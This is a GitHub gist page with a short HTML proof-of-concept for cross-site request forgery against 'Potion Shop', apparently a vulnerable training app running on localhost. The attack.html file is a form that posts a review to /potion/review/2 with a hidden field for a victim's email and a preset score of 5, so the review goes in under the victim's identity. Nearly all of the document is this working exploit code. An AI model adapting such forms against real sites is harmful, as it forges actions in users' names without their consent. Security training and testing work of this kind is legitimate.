Skip to content

Instantly share code, notes, and snippets.

@realcorvus

realcorvus/attack.html

Created June 19, 2024 17:57
Show Gist options
  • Save realcorvus/dcd7ebeba0ec98201bdaff3478d67fc2 to your computer and use it in GitHub Desktop.
Save realcorvus/dcd7ebeba0ec98201bdaff3478d67fc2 to your computer and use it in GitHub Desktop.
Download ZIP
CSRF
Raw
attack.html
<html>
<h2>CSRF POC for Potion Shop</h2>
<form action="http://localhost:4000/potion/review/2" method="post">
<textarea name="review[body]" required> </textarea>
<select id="review_score" name="review[score]"><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option selected value="5">5</option></select>
<input id="review_email" name="review[email]" type="hidden" value="VICTIM_EMAIL_HERE">
<button type="submit">Submit Review</button>
</form>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment